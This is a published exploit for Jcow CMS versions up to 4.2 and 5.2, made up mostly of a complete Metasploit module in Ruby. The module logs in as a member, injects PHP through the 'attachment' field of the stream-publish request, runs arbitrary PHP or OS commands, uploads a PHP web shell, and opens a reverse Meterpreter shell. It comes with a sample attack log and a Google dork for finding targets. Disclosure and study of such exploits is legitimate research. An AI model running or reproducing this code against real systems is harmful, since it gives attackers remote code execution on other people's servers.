1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 |
# Exploit Title: Jcow CMS 4.x:4.2 <= , 5.x:5.2 <= | Arbitrary Code Execution # Google Dork: "intext: Powered by Jcow" # Date: 2011-08-26 # Author: Aung Khant <http://yehg.net, YGN Ethical Hacker Group> # Software Link: http://sourceforge.net/projects/jcow/files/jcow4/jcow.4.2.1.zip/download # Version: 4.x:4.2 <= , 5.x: 5.2 <= # Tested on: FreeBSD # Advisory URL: http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution #[*] Started reverse handler on 1.2.3.4:4444 #[*] Trying to login as hax0r #[*] Logged in successfully (cookie: bd665943297fe4bdc39ec704c21888ff) #[*] Trying to pwn a shell #[*] Uploading the payload: /files/h3x00rr.php #[*] Uploaded successfully #[*] Getting the shell #[*] Sending stage (38553 bytes) to 5.6.7.8 #[*] Meterpreter session 1 opened (1.2.3.4:4444 -> 5.6.7.8:34441) at Sat Jun 04 00:00:44 +0000 2011 # require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'JCow CMS Remote Command Execution', 'Description'=> %q{ This module exploits a vulnerability in the JCow Social Networking CMS. In versions (4.x: 4.2 and lower, 5.x: 5.2 and lower), authenticated members can trigger php code execution via "attachment" parameter. }, 'Author' => [ 'Aung Khant <YGN Ethical Hacker Group, http://yehg.net/>' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 1 $', 'References' => [ [ 'URL', 'http://www.jcow.net/' ], [ 'URL', 'http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution' ] ], 'Privileged' => false, 'Payload'=> { 'DisableNops' => true, 'BadChars'=> "\#", 'Space' => 4000, 'Compat'=>{'ConnectionType' => 'find'}, 'Keys' => ['php'] }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets'=> [[ 'Automatic', { }]], 'DisclosureDate' => 'Aug 26 2011', 'DefaultTarget'=> 0)) register_options( [ OptString.new('URI', [true, "JCow directory path", "/"]), OptString.new('USERNAME', [ false, 'The username to authenticate as', 'hax0r' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username','pwn3d' ]), OptString.new('COOKIE', [ false, 'Authenticated Cookie in face of ReCaptCha' ]), OptString.new('PHP', [ false, 'Arbitrary PHP code to run' ]), OptString.new('CMD', [ false, 'Arbitrary OS Command to run if PHP\'s os cmd execution is not' ]), OptString.new('SHELL', [ false, 'Get PHP Reverse Shell back to your Box']) ], self.class) end def check uri = '' uri << datastore['URI'] uri << '/' if uri[-1,1] != '/' res = send_request_raw( { 'uri' => uri }, 25) if (res && res.body =~ /name="Generator" content="Jcow Social Networking Software. ?([0-9]\.[0-9])/) ver = $1 print_status("Target Jcow version is #{ver}") vers = ver.split('.').map { |v| v.to_i } if (vers[0] == 5) and (vers[1] < 3) return Exploit::CheckCode::Vulnerable elsif (vers[0] == 4) and (vers[1] < 3) return Exploit::CheckCode::Vulnerable elsif (vers[0] < 4) return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end print_error("Unable to determine exploitability. Go Exploiting.") end def exploit uri_base= '' uri_base << datastore['URI'] uri_base << '/' if uri_base[-1,1] != '/' cookie = datastore['COOKIE'] if (cookie == nil) print_status("Trying to login as #{datastore['USERNAME']}") cookie = get_login_cookie(uri_base) if (not cookie) raise RuntimeError, 'Unable to login!' end print_status("Logged in successfully (cookie: #{cookie})") else print_status("Using authenticated cookie: #{cookie}") end if (datastore['PHP']) print_status("Executing PHP Code: #{datastore['PHP']}") run_code(uri_base,cookie,datastore['PHP']) end if (datastore['CMD']) print_status("Executing CMD: #{datastore['CMD']}") run_code(uri_base,cookie, datastore['CMD'],'os') end if (datastore['SHELL']) print_status("Trying to pwn a shell") get_reverse_shell(uri_base,cookie) end end def get_login_cookie(uri_base) cookie = nil res = send_request_cgi( { 'method'=> 'POST', 'uri' => uri_base + '?p=member/loginpost', 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } }) if (not res or res.code != 302) print_error("Failed to login") if (res.body =~ /<script type="text\/javascript" src="http:\/\/www.google.com\/recaptcha\/api\/challenge/) print_error("Recaptcha Enabled\r\nProvide Authenticated Cookie") end return nil end if (res.headers['Set-Cookie'] =~ /PHPSESSID=(.*);/) cookie = $1 else print_error("Unable to get authenticated cookie") return end cookie end def run_code(uri_base, cookie, code, mode='php') cmd = nil if mode != 'php' cmd = 'error_reporting(0);print+<code>' << Rex::Text.to_hex("#{code}",prefix = "%") << '</code>' else cmd = 'error_reporting(0);eval(' << code.unpack("C*").collect{|x| "chr(#{x})"}.join('.') << ')' end data = "page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//" res = send_request_cgi( { 'method'=> 'POST', 'uri' => uri_base + '?p=streampublish', 'data' => data , 'headers' => { 'Cookie' => "PHPSESSID=#{cookie}" }, }) if (res) if (res.body.to_s.length > 0) is_session_expired(res.body.to_s) print_status("#{mode.upcase} Command Output from the server:") print("\n" + res.body.to_s + "\n\n") else print_error("No data returned from the server") end else print_error("Connection Timeout from the server") end end def is_session_expired(pg) if (pg =~ /please login first/) raise RuntimeError, "Your Login has expired" end end def get_reverse_shell(uri_base,cookie) cmd_php = '<?php ' << payload.encoded << ' ?>' shell_file ='files/' + rand_text_alphanumeric(6) << '.php' shell_url = uri_base + shell_file print_status("Uploading the payload: " << shell_url ) encoded_shell_file = shell_file.unpack("C*").collect{|x| "chr(#{x})"}.join('.') encoded_payload = payload.encoded cmd = "file_put_contents(#{encoded_shell_file}, $_SERVER['HTTP_X_CMD'])" data = "page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//" res = send_request_cgi( { 'method'=> 'POST', 'uri' => uri_base + '?p=streampublish', 'data' => data , 'headers' => { 'X-CMD' => cmd_php, 'Cookie' => "PHPSESSID=#{cookie}" }, }) if (res) if (res.code.to_i > 200) print_error("Fail to upload : #{res.code} #{res.body[0,500].inspect}...") return elsif (res.code == 200) is_session_expired(res.body.to_s) end end print_status("Uploaded successfully") print_status("Getting the shell") res = send_request_raw( { 'global' => true, 'uri'=> uri_base + shell_file }) handler end end |